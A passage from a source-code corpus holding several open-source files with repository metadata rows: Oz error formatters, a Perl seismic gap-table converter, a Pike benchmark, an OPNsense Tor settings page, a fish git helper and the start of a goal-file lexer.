of object('<-' O A V) then
error(kind: T
msg: 'Assignment to undefined attribute'
items: [hint(l:'In statement' m:oz(A) # ' <- ' # oz(V))
hint(l:'Expected one of'
m:oz({OoExtensions.getAttrNames O}))])
elseof object('@' O A) then
error(kind: T
msg: 'Access of undefined attribute'
items: [hint(l:'In statement' m:'_ = @' # oz(A))
hint(l:'Expected one of'
m:oz({OoExtensions.getAttrNames O}))])
elseof object(ooExch O A V) then
error(kind: T
msg: 'Exchange of undefined attribute'
items: [hint(l:'In statement'
m:'_ = ' # oz(A) # ' <- ' # oz(V))
hint(l:'Attribute' m:oz(A))
hint(l:'Expected one of'
m:oz({OoExtensions.getAttrNames O}))])
elseof object(conflicts N 'meth':Ms 'attr':As 'feat':Fs) then
MMs = case {FormatConf Ms} of nil then nil
[] M|Mr then {AdjoinAt M l 'Methods'}|Mr
end
MAs = case {FormatConf As} of nil then nil
[] A|Ar then {AdjoinAt A l 'Attributes'}|Ar
end
MFs = case {FormatConf Fs} of nil then nil
[] F|Fr then {AdjoinAt F l 'Features'}|Fr
end
in
error(kind: T
msg: 'Unresolved conflicts in class definition'
items: (hint(l:'Class definition' m:N)|
{Append MMs {Append MAs MFs}}))
elseof object(lookup C R) then
error(kind: T
msg: 'Undefined method'
items:
[hint(l:'Class' m:oz(C))
hint(l:'Message' m:oz(R))
line('Method undefined and no otherwise method given')])
elseof object(final CParent CChild) then
error(kind: T
msg: 'Inheritance from final class'
items: [hint(l:'Final class used as parent' m:oz(CParent))
hint(l:'Class to be created' m:oz(CChild))
line('remove prop final from parent class '#
'or change inheritance relation')])
elseof object(inheritanceFromNonClass CParent CChild) then
error(kind: T
msg: 'Inheritance from non-class'
items: [hint(l:'Non-class used as parent' m:oz(CParent))
hint(l:'Class to be created' m:oz(CChild))])
elseof object(illegalProp Ps) then
error(kind: T
msg: 'Illegal property value in class definition'
items: [hint(l:'Illegal values' m:oz(Ps))
hint(l:'Expected one of'
m:oz([final locking sited]))])
elseof object(arityMismatch File Line M O) then
error(kind: T
msg: 'Arity mismatch in object or method application'
items: [hint(l:'Message' m:oz(M))
hint(l:'Object' m:oz(O))
pos(File Line unit)])
elseof object(slaveNotFree) then
error(kind: T
msg: 'Method becomeSlave'
items: [hint(l:'Slave is not free')])
elseof object(slaveAlreadyFree) then
error(kind: T
msg: 'Method free'
items: [hint(l:'Slave is already free')])
elseof object(locking O) then
error(kind: T
msg: 'Attempt to lock unlockable object'
items: [hint(l:'Object' m:oz(O))])
elseof object(nonLiteralMethod L) then
error(kind: T
msg: 'Method label is not a literal'
items: [hint(l:'Method' m:oz(L))])
else
error(kind: T
items: [line(oz(E))])
end
end
end
%%
%% failure
%%
fun {FailureFormatter E}
error(kind: 'failure')
end
%%
%% record constraints
%%
fun {RecordCFormatter E}
T = 'Error: records'
in
case E
of record(width A Xs P S) then
%% expected Xs: list, P: int, S: virtualString
error(kind: T
items: (hint(l:'At argument' m:P)|
hint(l:'Statement' m:apply(A Xs))|
{FormatHint S}))
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% system programming
%%
fun {SystemFormatter E}
T = 'system error'
in
case E
of system(limitInternal S) then
%% expected S: virtualString
error(kind: T
items: [hint(l:'Internal System Limit' m:S)])
elseof system(limitExternal S) then
%% expected S: virtualString
error(kind: T
items: [hint(l:'External system limit' m:S)])
elseof system(fallbackInstalledTwice A) then
%% expected A: atom
error(kind: T
items: [hint(l:'Fallback procedure installed twice' m:A)])
elseof system(fallbackNotInstalled A) then
%% expected A: atom
error(kind: T
items: [hint(l:'Fallback procedure not installed' m:A)])
elseof system(inconsistentFastcall) then
error(kind: T
msg: 'Internal inconsistency'
items: [line('Inconsistency in optimized application')
line('Maybe due to previous toplevel failure')])
elseof system(onceOnlyFunctor) then
error(kind: T
msg: ('Procedure definition with flag `once\' '#
'executed more than once'))
elseof system(fatal S) then
%% expected S: virtualString
error(kind: T
msg: 'Fatal exception'
itms: [line(S)
line(BugReport)])
elseof system(getProperty Feature) then
error(kind: T
msg: 'Undefined property or property not readable'
items: [hint(l:'Property' m:Feature)])
elseof system(condGetProperty Feature) then
error(kind: T
msg: 'Property not readable'
items: [hint(l:'Property' m:Feature)])
elseof system(putProperty Feature) then
error(kind: T
msg: 'Property not writable'
items: [hint(l:'Property' m:Feature)])
elseof system(putProperty Feature Type) then
error(kind: T
msg: 'Type error in property record'
items: [hint(l:'Record feature' m:Feature)
hint(l:'Expected type' m:Type)])
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% OS module
%%
fun {OSFormatter E}
T = 'error in OS module'
in
case E
of os(os SysCall N S) then
%% expected SysCall: virtualString, N: int, S: virtualString
error(kind: T
msg: 'Operating system error'
items: [hint(l:'System call' m:SysCall)
hint(l:'Error number' m:N)
hint(l:'Description' m:S)])
elseof os(host SysCall N S) then
%% expected SysCall: virtualString, N: int, S: virtualString
error(kind: T
msg: 'Network Error'
items: [hint(l:'System call' m:SysCall)
hint(l:'Error number' m:N)
hint(l:'Description' m:S)])
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% application programming
%%
fun {APFormatter E}
T = 'Error: application programming'
in
case E
of ap(usage Msg) then
error(kind: T
msg: Msg)
elseof ap(spec env Var) then
error(kind: T
msg: 'environment variable '#Var#' not set'
items: [hint(l: 'Hint'
m: ('Have you started a CGI script '#
'from the command line?'))])
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% distributed programming
%%
fun {DPFormatter E}
T = 'Error: distributed programming'
in
case E
of dp(generic _ Msg Hints) then
error(kind: T
msg: Msg
items: {Map Hints fun {$ L#M} hint(l:L m:oz(M)) end})
elseof dp(modelChoose) then
error(kind: T
msg: ('Cannot change distribution model: '#
'distribution layer already started'))
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% Foreign interface
%%
fun {ForeignFormatter E}
T = 'Error: native code interface'
in
case E
of foreign(cannotFindInterface F) then
error(kind: T
msg: 'Cannot find interface'
items: [hint(l:'File name' m:F)])
elseof foreign(dlOpen F M) then
error(kind: T
msg: 'Cannot dynamically link object file'
items: [hint(l:'File name' m:F)
hint(l:'dlerror' m:M)])
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% URL/Resolver library
%%
fun {URLFormatter E}
T = 'error in URL support'
in
case E
of url(O U) then
error(kind: T
msg: 'Cannot locate file'
items: [hint(l:'File name' m:U)
hint(l:'Operation' m:O)])
else
error(kind: T
items: [line(oz(E))])
end
end
%%
%% module manager
%%
fun {ModuleFormatter E}
T = 'Error: module manager'
in
case E
of module(alreadyInstalled Url) then
error(kind: T
msg: 'Module already installed'
items: [hint(l:'Module URL' m:Url)])
[] module(notFound Kind Url) then K in
K = case Kind
of system then 'Unknown system module'
[] native then 'Could not load native functor at URL'
[] load then 'Could not load functor at URL'
[] localize then 'Could not load functor at URL'
end
error(kind: T
msg: 'Could not link module'
items: [hint(l:K m:Url)])
[] module(urlSyntax Url) then
error(kind: T
msg: 'Illegal URL syntax'
items: [hint(l:'URL' m:Url)])
[] module(typeMismatch Url _ _) then
error(kind: T
msg: 'Type mismatch'
items: [hint(l:'URL' m:Url)])
else
error(kind: T
items: [line(oz(E))])
end
end
end
| Oz | 5 | Ahzed11/mozart2 | lib/main/sp/ErrorFormatters.oz | [
"BSD-2-Clause"
] |
# Program to take DMC gap file and turn into monthly gap tables.
#
#
use Getopt::Std ;
use strict ;
use Datascope ;
use archive ;
use timeslice ;
our ( $opt_D, $opt_I, $opt_P, $opt_V, $opt_Y ) ;
our ( $opt_d, $opt_e, $opt_s, $opt_p, $opt_t, $opt_v ) ;
our ( $dbpath, $dblocks, $dbidserver) ;
{ # Main program
my ($tmpgap,$gapdb,$sync_file,$period,$usage,$dirbase);
my ($stime,$start_time,$end_time,$cmd,$host);
my $pgm = $0 ;
$pgm =~ s".*/"" ;
elog_init($pgm, @ARGV);
$cmd = "\n$0 @ARGV" ;
if ( ! getopts('Dd:e:I:pP:t:vVY') || @ARGV != 1) {
$usage = "\n\n\nUsage: $0 \n [-v] [-V] [-p [-D | -Y]] \n" ;
$usage .= " [-I idserver] [-P dbpath] [-d directory_base] \n" ;
$usage .= " [-t start_time ] [-e end_time] \n" ;
$usage .= " sync_file \n\n" ;
elog_notify($cmd) ;
elog_die ( $usage ) ;
}
elog_notify($cmd) ;
$stime = strydtime(now());
chop ($host = `uname -n` ) ;
elog_notify ("\nstarting execution on $host $stime\n\n");
$sync_file = $ARGV[0] ;
#
# Set options
#
if ($opt_Y && $opt_D) {
elog_die("\n Can only split by year, month, OR day ");
}
if ($opt_p) {
$dirbase = $opt_d || "./monthly_dbs" ;
$dirbase = $opt_d || "./yearly_dbs" if $opt_Y;
$dirbase = $opt_d || "./daily_dbs" if $opt_D;
$period = "month" ;
$period = "year" if $opt_Y;
$period = "day" if $opt_D;
} else {
$period = "none";
}
$opt_v = defined($opt_V) ? $opt_V : $opt_v ;
$dbpath = $opt_P || " ";
$dbidserver = $opt_I || " ";
$dblocks = "nfs" ;
$start_time = $opt_t || 0. ;
$end_time = $opt_e || now() ;
#
# Define tmp databases
#
$tmpgap = "/tmp/tmp_gap_$$";
elog_notify ("tmp db $tmpgap") if $opt_v;
&mk_tmp_gap_table ($sync_file,$tmpgap) ;
#
# split tmpgap.gap
#
&split_gap_table ($tmpgap, $period, $dirbase, "dmc", $dbpath, $dblocks, $dbidserver, $start_time, $end_time ) ;
unlink ("$tmpgap\.gap") unless $opt_V;
$stime = strydtime(now());
elog_notify ("completed successfully $stime\n\n");
exit(0);
}
sub mk_tmp_gap_table { # &mk_tmp_gap_table ($sync_file,$tmpgap) ;
my ($sync_file,$tmpgap) = @_ ;
my ($row,$sta,$chan,$time,$tgap);
my ($line);
my (@tmp,@dbgap);
#
# open tmpgap database
#
elog_notify("tmpgap $tmpgap") if $opt_V ;
@dbgap = dbopen($tmpgap,"r+");
@dbgap = dblookup(@dbgap,0,"gap",0,0);
#
# process sync file
#
if ( ! open( SYNC, $sync_file ) ) {
elog_die( "Failed to open $sync_file\n" );
}
while ( $line = <SYNC>) {
@tmp = split(/\|/,$line);
if ($#tmp == 7) {
$sta = $tmp[1];
$chan = $tmp[3];
$time = $tmp[4];
$time =~ s/,/-/;
$time =~ s/,/ /;
$time = str2epoch($time) ;
$tgap = $tmp[6];
$tgap =~ s/ secs//;
dbaddv(@dbgap,"sta",$sta,"chan",$chan,"time",$time,"tgap",$tgap);
elog_notify("$sta $chan $time $tgap") if $opt_V;
}
}
dbclose(@dbgap);
return;
}
sub split_gap_table { # &split_gap_table ($tmpgap, $period, $dirbase, $dbbase, $dbpath, $dblocks, $dbidserver, $start_time, $end_time ) ;
my ($tmpgap, $period, $dirbase, $dbbase, $dbpath, $dblocks, $dbidserver, $start_time, $end_time ) = @_ ;
my ($sta, $chan, $time, $tgap, $last_time, $next_day, $tmp_tgap, $tmpgap2);
my ($subset, $ts, $current, $next_ts, $n, $nrecs, $dirname, $dbname, $cmd, $y, $m);
my (@dbtmp, @dbtmp2, @dbgap, @dbperiod, @dbout, @ts);
#
# open tmpgap database
#
@dbtmp = dbopen ($tmpgap,'r+');
@dbgap = dblookup(@dbtmp,0,"gap",0,0);
@dbgap = dbsort (@dbgap,"time","sta","chan","tgap");
if (!dbquery(@dbgap,"dbTABLE_PRESENT")) {
elog_die ("\nsplit_gap_table no gap table in $tmpgap");
}
$nrecs = dbquery(@dbgap,"dbRECORD_COUNT");
elog_notify ("split_gap_table nrecs $nrecs") if $opt_v;
#
# open tmpgap2 database
#
$tmpgap2 = "/tmp/tmp_gap2_$$";
elog_notify ("split_gap_table tmpgap2 $tmpgap2") if $opt_v;
@dbtmp2 = dbopen($tmpgap2,'r+');
@dbtmp2 = dblookup(@dbtmp2,0,"gap",0,0);
#
# split all gaps in tmpgap.gap on day boundaries in tmpgap2.gap
#
for ($n=0; $n < $nrecs; $n++) {
$dbgap[3] = $n ;
($sta,$chan,$time,$tgap) = dbgetv(@dbgap,"sta","chan","time","tgap");
$last_time = $time+$tgap ;
elog_notify(sprintf ("split_gap_table sta $sta chan $chan time %s tgap $tgap last_time %s",strydtime($time),strydtime($last_time))) if $opt_V;
while ($time < $last_time ) {
$next_day = epoch(yearday($time + 86400.));
if ( $last_time <= $next_day ) {
dbaddv(@dbtmp2,"sta",$sta,"chan",$chan,"time",$time,"tgap",$tgap);
$time = $last_time + 1.;
} else {
$tmp_tgap = $next_day - $time - 0.001;
dbaddv(@dbtmp2,"sta",$sta,"chan",$chan,"time",$time,"tgap",$tmp_tgap);
$time = $next_day ;
$tgap = $last_time - $next_day ;
}
elog_notify(sprintf (" time %s tgap $tgap last_time %s next_day %s",strydtime($time),strydtime($last_time),strydtime($next_day))) if $opt_V;
}
}
dbclose(@dbtmp2);
dbclose(@dbgap);
#
# subset tmpgap2.gap
#
$cmd = "dbsubset $tmpgap2.gap \"time < \_$start_time\_ || time >= \_$end_time\_ \" | dbdelete - ";
elog_notify ("split_gap_table $cmd") if $opt_v;
system($cmd);
#
# process tmpgap2.gap
#
@dbtmp2 = dbopen($tmpgap2,'r');
@dbtmp2 = dblookup(@dbtmp2,0,"gap",0,0);
#
# find time splits
#
if ( $opt_p ) {
@ts = ();
@ts = &time_splits($period,@dbtmp2) ;
elog_notify ("split_gap_table time_splits @ts") if $opt_v;
#
# process time splits
#
foreach $ts (@ts) {
($current,$next_ts) = &border($ts, $period );
($dirname, $dbname) = &mk_db_des($ts, $dirbase, $dbbase, $period, "gap", $dbpath, $dblocks, $dbidserver );
elog_notify("split_gap_table dirname $dirname dbname $dbname") if $opt_v;
if ($dbname =~ /EXISTS/) {
($dirname, $dbname) = &mk_d($dirbase,$dbbase,$period,$ts);
elog_notify("split_gap_table dirname $dirname dbname $dbname") if $opt_v;
}
$subset = "time >= \_$current\_ && time < \_$next_ts\_ " ;
elog_notify("split_gap_table subset $subset") if $opt_v;
@dbperiod = dbsubset(@dbtmp2,$subset);
$nrecs = dbquery(@dbperiod,"dbRECORD_COUNT");
elog_notify("split_gap_table nrecs $nrecs") if $opt_v;
@dbout = dbopen($dbname,'r+');
@dbout = dblookup(@dbout,0,"gap",0,0);
for ($n=0; $n < $nrecs; $n++) {
$dbperiod[3] = $n ;
( $sta, $chan, $time, $tgap ) = dbgetv(@dbperiod,"sta","chan","time","tgap");
dbaddv( @dbout, "sta", $sta, "chan", $chan, "time", $time, "tgap", $tgap);
}
dbclose ( @dbout );
}
} else {
$dbtmp2[3] = 0;
($y,$m) = split(" ", epoch2str(dbgetv(@dbtmp2,"time"),"%Y %m") ) ;
$dbname = $dbbase . "\_$y\_$m" ;
elog_notify("split_gap_table dbname $dbname") if $opt_v;
$nrecs = dbquery(@dbtmp2,"dbRECORD_COUNT");
elog_notify("split_gap_table nrecs $nrecs") if $opt_v;
@dbout = dbopen($dbname,'r+');
@dbout = dblookup(@dbout,0,"gap",0,0);
for ($n=0; $n < $nrecs; $n++) {
$dbtmp2[3] = $n ;
( $sta, $chan, $time, $tgap ) = dbgetv(@dbtmp2,"sta","chan","time","tgap");
dbaddv( @dbout, "sta", $sta, "chan", $chan, "time", $time, "tgap", $tgap);
}
dbclose ( @dbout );
}
dbclose(@dbtmp2);
unlink ("$tmpgap2\.gap") unless $opt_V;
return;
}
| XProc | 4 | jreyes1108/antelope_contrib | bin/usarray/dmcgap2db/dmcgap2db.xpl | [
"BSD-2-Clause",
"MIT"
] |
#!/usr/bin/pike
/* The Great Computer Language Shootout
http://shootout.alioth.debian.org/
contributed by Adam Montague
*/
float takfp(float x, float y, float z)
{
return (y >=x) ? z : takfp(takfp(x - 1.0, y, z), takfp(y - 1.0, z, x), takfp(z - 1.0, x, y));
}
void main(int argc, array(string) argv)
{
float n = (float)argv[1];
write("%.1f\n", takfp(n * 3.0, n * 2.0, n * 1.0));
}
| Pike | 4 | kragen/shootout | bench/takfp/takfp.pike | [
"BSD-3-Clause"
] |
{#
Copyright (C) 2017 Fabian Franz
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
documentation and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
#}
<script>
function tor_update_status() {
ajaxCall(url="/api/tor/service/status", sendData={}, callback=function(data,status) {
updateServiceStatusUI(data['status']);
});
}
function reload_handler() {
$(".reloadAct_progress").addClass("fa-spin");
ajaxCall(url="/api/tor/service/reconfigure", sendData={}, callback=function(data,status) {
tor_update_status();
$(".reloadAct_progress").removeClass("fa-spin");
});
}
$( document ).ready(function() {
var data_get_map = {
'general': '/api/tor/general/get',
'relay': '/api/tor/relay/get'
};
mapDataToFormUI(data_get_map).done(function(data){
formatTokenizersUI();
$('select.dropdownstyle').selectpicker('refresh');
});
// link save button to API set action
[
{'selector': '#generalsaveAct', 'endpoint': '/api/tor/general/set', 'formid': 'general'},
{'selector': '#relaysaveAct', 'endpoint': '/api/tor/relay/set', 'formid': 'relay'}
].forEach(function (cfg) {
$(cfg.selector).click(function(){
saveFormToEndpoint(url=cfg.endpoint, formid=cfg.formid,callback_ok=function(){
$(cfg.selector + " .saveAct_progress").addClass("fa fa-spinner fa-pulse");
ajaxCall(url="/api/tor/service/reconfigure", sendData={}, callback=function(data,status) {
tor_update_status();
$(cfg.selector + " .saveAct_progress").removeClass("fa fa-spinner fa-pulse");
});
});
});
});
tor_update_status();
/* allow a user to manually reload the service (for forms which do not do it automatically) */
$('.reload_btn').click(reload_handler);
$("#grid-hidden").UIBootgrid(
{ 'search':'/api/tor/hiddenservice/searchservice',
'get':'/api/tor/hiddenservice/getservice/',
'set':'/api/tor/hiddenservice/setservice/',
'add':'/api/tor/hiddenservice/addservice/',
'del':'/api/tor/hiddenservice/delservice/',
'toggle':'/api/tor/hiddenservice/toggleservice/',
'options':{selection:false, multiSelect:false}
}
);
$("#grid-hiddenacl").UIBootgrid(
{ 'search':'/api/tor/hiddenserviceacl/searchacl',
'get':'/api/tor/hiddenserviceacl/getacl/',
'set':'/api/tor/hiddenserviceacl/setacl/',
'add':'/api/tor/hiddenserviceacl/addacl/',
'del':'/api/tor/hiddenserviceacl/delacl/',
'toggle':'/api/tor/hiddenserviceacl/toggleacl/',
'options':{selection:false, multiSelect:false}
}
);
$("#grid-toracl").UIBootgrid(
{ 'search':'/api/tor/socksacl/searchacl',
'get':'/api/tor/socksacl/getacl/',
'set':'/api/tor/socksacl/setacl/',
'add':'/api/tor/socksacl/addacl/',
'del':'/api/tor/socksacl/delacl/',
'toggle':'/api/tor/socksacl/toggleacl/',
'options':{selection:false, multiSelect:false}
}
);
$("#grid-exitacl").UIBootgrid(
{ 'search':'/api/tor/exitacl/searchacl',
'get':'/api/tor/exitacl/getacl/',
'set':'/api/tor/exitacl/setacl/',
'add':'/api/tor/exitacl/addacl/',
'del':'/api/tor/exitacl/delacl/',
'toggle':'/api/tor/exitacl/toggleacl/',
'options':{selection:false, multiSelect:false}
}
);
$("#grid-hidservauth").UIBootgrid(
{ 'search':'/api/tor/general/searchhidservauth',
'get':'/api/tor/general/gethidservauth/',
'set':'/api/tor/general/sethidservauth/',
'add':'/api/tor/general/addhidservauth/',
'del':'/api/tor/general/delhidservauth/',
'toggle':'/api/tor/general/togglehidservauth/',
'options':{selection:false, multiSelect:false}
}
);
});
</script>
<ul class="nav nav-tabs" data-tabs="tabs" id="maintabs">
<li class="active"><a data-toggle="tab" href="#general">{{ lang._('General') }}</a></li>
<li><a data-toggle="tab" href="#hidservauth">{{ lang._('Onion Service Authentication') }}</a></li>
<li><a data-toggle="tab" href="#acl">{{ lang._('SOCKS Proxy ACL') }}</a></li>
<li><a data-toggle="tab" href="#hidden">{{ lang._('Onion Services') }}</a></li>
<li><a data-toggle="tab" href="#hiddenrouting">{{ lang._('Onion Service Routing') }}</a></li>
<li><a data-toggle="tab" href="#relay">{{ lang._('Relaying') }}</a></li>
<li><a data-toggle="tab" href="#exitnodeacl">{{ lang._('Exit Node ACL') }}</a></li>
</ul>
<div class="tab-content content-box tab-content" style="padding-bottom: 1.5em;">
<div id="general" class="tab-pane fade in active">
{{ partial("layout_partials/base_form",['fields': general,'id':'general'])}}
<div class="col-md-12">
<hr />
<button class="btn btn-primary" id="generalsaveAct" type="button"><b>{{ lang._('Save') }}</b> <i class="saveAct_progress"></i></button>
</div>
</div>
<div id="acl" class="tab-pane fade in">
<table id="grid-toracl" class="table table-responsive" data-editDialog="toracldlg">
<thead>
<tr>
<th data-column-id="enabled" data-type="string" data-formatter="rowtoggle">{{ lang._('Enabled') }}</th>
<th data-column-id="action" data-type="string" data-visible="true">{{ lang._('Action') }}</th>
<th data-column-id="type" data-type="string" data-visible="true">{{ lang._('Protocol') }}</th>
<th data-column-id="network" data-type="string" data-visible="true">{{ lang._('Network') }}</th>
<th data-column-id="uuid" data-type="string" data-identifier="true" data-visible="false">{{ lang._('ID') }}</th>
<th data-column-id="commands" data-formatter="commands" data-sortable="false">{{ lang._('Commands') }}</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="3"></td>
<td>
<button data-action="add" type="button" class="btn btn-xs btn-default"><span class="fa fa-plus"></span></button>
<!-- <button data-action="deleteSelected" type="button" class="btn btn-xs btn-default"><span class="fa fa-trash-o"></span></button> -->
<button type="button" class="btn btn-xs reload_btn btn-primary"><span class="fa fa-refresh reloadAct_progress"></span> {{ lang._('Reload Service') }}</button>
</td>
</tr>
</tfoot>
</table>
</div>
<div id="hidden" class="tab-pane fade in">
<table id="grid-hidden" class="table table-responsive" data-editDialog="hiddenservicedlg">
<thead>
<tr>
<th data-column-id="enabled" data-type="string" data-formatter="rowtoggle">{{ lang._('Enabled') }}</th>
<th data-column-id="name" data-type="string" data-visible="true">{{ lang._('Name') }}</th>
<th data-column-id="uuid" data-type="string" data-identifier="true" data-visible="false">{{ lang._('ID') }}</th>
<th data-column-id="commands" data-formatter="commands" data-sortable="false">{{ lang._('Commands') }}</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="3"></td>
<td>
<button data-action="add" type="button" class="btn btn-xs btn-default"><span class="fa fa-plus"></span></button>
<!-- <button data-action="deleteSelected" type="button" class="btn btn-xs btn-default"><span class="fa fa-trash-o"></span></button> -->
<button type="button" class="btn btn-xs reload_btn btn-primary"><span class="fa fa-refresh reloadAct_progress"></span> {{ lang._('Reload Service') }}</button>
</td>
</tr>
</tfoot>
</table>
</div>
<div id="hidservauth" class="tab-pane fade in">
<table id="grid-hidservauth" class="table table-responsive" data-editDialog="hidservauthdlg">
<thead>
<tr>
<th data-column-id="enabled" data-type="string" data-formatter="rowtoggle">{{ lang._('Enabled') }}</th>
<th data-column-id="onion_service" data-type="string" data-visible="true">{{ lang._('Onion Service') }}</th>
<th data-column-id="auth_cookie" data-type="string" data-visible="true">{{ lang._('Authentication Cookie') }}</th>
<th data-column-id="uuid" data-type="string" data-identifier="true" data-visible="false">{{ lang._('ID') }}</th>
<th data-column-id="commands" data-formatter="commands" data-sortable="false">{{ lang._('Commands') }}</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="4"></td>
<td>
<button data-action="add" type="button" class="btn btn-xs btn-default"><span class="fa fa-plus"></span></button>
<!-- <button data-action="deleteSelected" type="button" class="btn btn-xs btn-default"><span class="fa fa-trash-o"></span></button> -->
<button type="button" class="btn btn-xs reload_btn btn-primary"><span class="fa fa-refresh reloadAct_progress"></span> {{ lang._('Reload Service') }}</button>
</td>
</tr>
</tfoot>
</table>
</div>
<div id="hiddenrouting" class="tab-pane fade in">
<table id="grid-hiddenacl" class="table table-responsive" data-editDialog="hiddenserviceacl">
<thead>
<tr>
<th data-column-id="enabled" data-type="string" data-formatter="rowtoggle">{{ lang._('Enabled') }}</th>
<th data-column-id="hiddenservice" data-type="string" data-visible="true">{{ lang._('Onion Service') }}</th>
<th data-column-id="port" data-type="string" data-visible="true">{{ lang._('Port') }}</th>
<th data-column-id="target_host" data-type="string" data-visible="true">{{ lang._('Target Host') }}</th>
<th data-column-id="target_port" data-type="string" data-visible="true">{{ lang._('Target Port') }}</th>
<th data-column-id="uuid" data-type="string" data-identifier="true" data-visible="false">{{ lang._('ID') }}</th>
<th data-column-id="commands" data-formatter="commands" data-sortable="false">{{ lang._('Commands') }}</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="5"></td>
<td>
<button data-action="add" type="button" class="btn btn-xs btn-default"><span class="fa fa-plus"></span></button>
<!-- <button data-action="deleteSelected" type="button" class="btn btn-xs btn-default"><span class="fa fa-trash-o"></span></button> -->
<button type="button" class="btn btn-xs reload_btn btn-primary"><span class="fa fa-refresh reloadAct_progress"></span> {{ lang._('Reload Service') }}</button>
</td>
</tr>
</tfoot>
</table>
</div>
<div id="relay" class="tab-pane fade in">
{{ partial("layout_partials/base_form",['fields': relay,'id':'relay'])}}
<div class="col-md-12">
<hr />
<button class="btn btn-primary" id="relaysaveAct" type="button"><b>{{ lang._('Save') }}</b> <i class="saveAct_progress"></i></button>
</div>
</div>
<div id="exitnodeacl" class="tab-pane fade in">
<div class="alert alert-danger" role="alert">
{{ lang._('Running an exit node may be lead to legal issues and seized hardware. Be careful with your settings here.') }}
</div>
<table id="grid-exitacl" class="table table-responsive" data-editDialog="torexitacldlg">
<thead>
<tr>
<th data-column-id="enabled" data-type="string" data-formatter="rowtoggle">{{ lang._('Enabled') }}</th>
<th data-column-id="action" data-type="string" data-visible="true">{{ lang._('Action') }}</th>
<th data-column-id="type" data-type="string" data-visible="true">{{ lang._('Protocol') }}</th>
<th data-column-id="network" data-type="string" data-visible="true">{{ lang._('Network') }}</th>
<th data-column-id="startport" data-type="string" data-visible="true">{{ lang._('Start Port') }}</th>
<th data-column-id="endport" data-type="string" data-visible="true">{{ lang._('End Port') }}</th>
<th data-column-id="uuid" data-type="string" data-identifier="true" data-visible="false">{{ lang._('ID') }}</th>
<th data-column-id="commands" data-formatter="commands" data-sortable="false">{{ lang._('Commands') }}</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="3"></td>
<td>
<button data-action="add" type="button" class="btn btn-xs btn-default"><span class="fa fa-plus"></span></button>
<!-- <button data-action="deleteSelected" type="button" class="btn btn-xs btn-default"><span class="fa fa-trash-o"></span></button> -->
<button type="button" class="btn btn-xs reload_btn btn-primary"><span class="fa fa-refresh reloadAct_progress"></span> {{ lang._('Reload Service') }}</button>
</td>
</tr>
</tfoot>
</table>
</div>
</div>
{{ partial("layout_partials/base_dialog",['fields': toracl,'id':'toracldlg', 'label':lang._('Edit ACL Entry')]) }}
{{ partial("layout_partials/base_dialog",['fields': hidden_service,'id':'hiddenservicedlg', 'label':lang._('Edit Onion Service')]) }}
{{ partial("layout_partials/base_dialog",['fields': hidden_service_acl,'id':'hiddenserviceacl', 'label':lang._('Edit Onion Service Route')]) }}
{{ partial("layout_partials/base_dialog",['fields': exitpolicy,'id':'torexitacldlg', 'label':lang._('Edit Exit Node ACL')]) }}
{{ partial("layout_partials/base_dialog",['fields': hidservauth,'id':'hidservauthdlg', 'label':lang._('Edit Hidden Service Credentials')]) }}
| Volt | 3 | marcquark/plugins | security/tor/src/opnsense/mvc/app/views/OPNsense/Tor/general.volt | [
"BSD-2-Clause"
] |
function git_is_repo -d "Check if directory is a repository"
test -d .git
or begin
set -l info (command git rev-parse --git-dir --is-bare-repository 2>/dev/null)
and test $info[2] = false
end
end
| fish | 3 | e-ntro-py/oh-my-fish | lib/git/git_is_repo.fish | [
"MIT"
] |
%namespace LSLib.LS.Story.GoalParser
%visibility public
%scannertype GoalScanner
%scanbasetype GoalScanBase
%tokentype GoalTokens
letter [a-zA-Z]
digit [0-9]
hex [0-9a-fA-F]
%x C_COMMENT
%%
/* Reserved words */
"Version" return (int)GoalTokens.VERSION;
"SubGoalCombiner" return (int)GoalTokens.SUBGOALCOMBINER;
"SGC_AND" return (int)GoalTokens.SGC_AND;
"INITSECTION" return (int)GoalTokens.INITSECTION;
"KBSECTION" return (int)GoalTokens.KBSECTION;
"EXITSECTION" return (int)GoalTokens.EXITSECTION;
"ENDEXITSECTION" return (int)GoalTokens.ENDEXITSECTION;
"IF" return (int)GoalTokens.IF;
"PROC" return (int)GoalTokens.PROC;
"QRY" return (int)GoalTokens.QRY;
"THEN" return (int)GoalTokens.THEN;
"AND" return (int)GoalTokens.AND;
"NOT" return (int)GoalTokens.NOT;
/* Goal completion call -- "GoalCompleted;" */
"GoalCompleted" return (int)GoalTokens.GOAL_COMPLETED;
"ParentTargetEdge" return (int)GoalTokens.PARENT_TARGET_EDGE;
/* Operators */
"==" return (int)GoalTokens.EQ_OP;
"!=" return (int)GoalTokens.NE_OP;
"<" return (int)GoalTokens.LT_OP;
